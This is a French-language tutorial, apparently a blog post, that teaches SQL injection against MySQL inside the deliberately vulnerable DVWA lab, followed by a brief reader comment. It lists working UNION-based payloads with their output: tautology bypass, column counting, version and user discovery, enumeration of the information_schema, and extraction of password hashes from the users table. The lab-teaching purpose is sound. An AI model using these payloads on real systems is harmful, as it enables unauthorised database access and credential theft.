Faille numéro 1 du top 10 OWASP 2014, les injections sont très diverses et variés. Aujourd’hui étudions un peu les injections SQL !
Cet article sera principalement consacré aux injections sur des bases de type MySQL. Pour découvrir les SQLi vous pouvez télécharger DVWA qui vous procurera un environnement de travail.
Le SQL qu’est ce que c’est que donc ?
On distingue 2 types de sites sur le web, les sites statiques et dynamiques.
Les sites statiques sont des sites » CV » en une page entièrement en HTML/CSS/JS la plus part du temps.
Autrement dit aucune données à stocker. C’est la différence avec les sites dynamiques. Pour stocker les mots de passe, noms d’utilisateurs, produits, articles .. les sites se servent d’une base de donnés. Et le langage servant traditionnellement à interroger ce genre de base de donnés c’est le SQL. Je dis bien traditionnellement car nous verrons que ce n’est pas toujours le cas !
Si vous ne connaissez pas le langage SQL inutile d’aller plus loin, je vous conseille vraiment de travailler cette technologie afin de bien comprendre ce qui suit.
Une Injection ?
Une injection, c’est tout simplement lorsque l’utilisateur à la possibilité de manipuler le code et d’y « Injecter » ses propres commandes et ainsi manipuler la requête de base pour arriver a ses fins !
Mise en place du Lab
Le mieux pour travailler les injections SQL c’est de tester ! Pour cela on va se créer un petit environnement de travail.
Vous pouvez aussi tester sur un vrai site me direz vous ? Et bien ce serait une idée forte honorable si elle était motivée par l’intention de prévenir l’administrateur de la présence d’une faille. Mais encore faudrait il qu’il y en ai une ! Alors travaillons quelques petits exercices avant de filer dans la nature !
Pour cela je vous recommande vivement de télécharger DVWA.
Cette application se configure simplement et rapidement !
Basics
Lorsque l’on teste des injections SQL il existe une syntaxe très connue : ‘ OR 1=1 —
Pourquoi cette ligne ? L’objectif d’une SQLi est de manipuler la requête pour obtenir des résultats « personnalisés » en d’autres termes recréer la requête pour faire ce que l’on veux.
On va pouvoir ajouter des lignes en base, en supprimer, récupérer des informations ect !
Dans SQL il existe la clause « Where » qui permet de faire des requêtes sous conditions, si une condition renvoie « vrai » c’est comme si elle n’existait pas. Forcement vous l’aurez compris 1=1 est toujours vrai ! Mais il existe des infinités de variantes ! ( 2=2, 20-7=13 .. )
Enfin dans SQL pour les commentaires on utilise « — » ainsi terminer une injection par ces caractères nous permet de nous assurer qu’aucune autre action sera exécuté après la notre.
Attention ! N’oubliez pas l’espace après les « –« .
Testons donc notre application :
Celle ci nous propose un input, dans le contexte on comprend qu’il faut entrer un numéro d’utilisateur.
Essayons avec l’utilisateur 2 :
Il semblerait donc que la requête derrière cet affichage soit du genre :
Select first name,surname From users Where id='$_GET["id"]'
Nous contrôlons la valeur de id, c’est de la que partira notre injection.
Essayons donc le fameux ‘or 1=1 —
Cette fois ci l’application est nettement plus bavarde ! En effet la clause « Where » est en quelque sorte ignorée puisqu’elle renvoie vrai.
Il y a donc ici une injection et il est possible de récupérer la liste de tout les utilisateurs.
Mais il n’y a pas vraiment grand intérêt de stopper l’injection là !
Allons plus loin. Pour cela on va d’abord se renseigner sur la requête en elle même.
Il est en effet important de connaitre le nombre de colonnes interrogés par la requête afin de pouvoir créer une requête « union ».
Tout simplement car en SQL il est obligatoire d’avoir le même nombre de colonnes à interroger de part et d’autres du mot clé « union ».
Pour déterminer le nombre de colonnes, on va procéder par suppositions.
Je suppose qu’il y a 5 colonnes, j’entre donc : 1′ union select 1,2,3,4,5
L’application me renvoie une erreur SQL. Il suffit de la lire, le nombre de colonne est bien différent de 5. Essayons 2 !
Cette fois ci, l’application ne bug pas, mieux ! Le select 1,2 marche parfaitement, on peut le remarquer à la place du second utilisateur. Il est maintenant temps de s’amuser !
Have fun with SQLi
- Déterminer la version de MySQL => 1′ union select 1,@@version
ID: 1' union select 1,@@version -- First name: 1 Surname: 5.6.17
- Déterminer l’utilisateur de la base de données
ID: 1' union select 1,user() -- First name: 1 Surname: root@localhost
- Determiner le nom de la base de données
ID: 1' union select 1,database() -- First name: 1 Surname: dvwa
- Determiner le nom des tables
ID: 1' union select TABLE_SCHEMA,TABLE_NAME from information_schema.tables WHERE TABLE_SCHEMA="dvwa" -- First name: dvwa Surname: guestbook ID: 1' union select TABLE_SCHEMA,TABLE_NAME from information_schema.tables WHERE TABLE_SCHEMA="dvwa" -- First name: dvwa Surname: users
- Determiner le nom des colonnes
ID: 1' union select null,concat(TABLE_SCHEMA,0x2C,TABLE_NAME,0x2C,COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA="dvwa" -- First name: Surname: dvwa,guestbook,comment_id ID: 1' union select null,concat(TABLE_SCHEMA,0x2C,TABLE_NAME,0x2C,COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA="dvwa" -- First name: Surname: dvwa,guestbook,comment ID: 1' union select null,concat(TABLE_SCHEMA,0x2C,TABLE_NAME,0x2C,COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA="dvwa" -- First name: Surname: dvwa,guestbook,name ID: 1' union select null,concat(TABLE_SCHEMA,0x2C,TABLE_NAME,0x2C,COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA="dvwa" -- First name: Surname: dvwa,users,user_id ID: 1' union select null,concat(TABLE_SCHEMA,0x2C,TABLE_NAME,0x2C,COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA="dvwa" -- First name: Surname: dvwa,users,first_name ID: 1' union select null,concat(TABLE_SCHEMA,0x2C,TABLE_NAME,0x2C,COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA="dvwa" -- First name: Surname: dvwa,users,last_name ID: 1' union select null,concat(TABLE_SCHEMA,0x2C,TABLE_NAME,0x2C,COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA="dvwa" -- First name: Surname: dvwa,users,user ID: 1' union select null,concat(TABLE_SCHEMA,0x2C,TABLE_NAME,0x2C,COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA="dvwa" -- First name: Surname: dvwa,users,password ID: 1' union select null,concat(TABLE_SCHEMA,0x2C,TABLE_NAME,0x2C,COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA="dvwa" -- First name: Surname: dvwa,users,avatar
- Recupérer les mots de passes
ID: 1' union all select user,password from users -- First name: admin Surname: 5f4dcc3b5aa765d61d8327deb882cf99
Voila ! Vous connaissez donc les bases des injection SQL. Dans un prochain article nous verrons des injections plus poussées.
Merci pour cet article ! Cela nous a beaucoup aidé pour protéger notre site !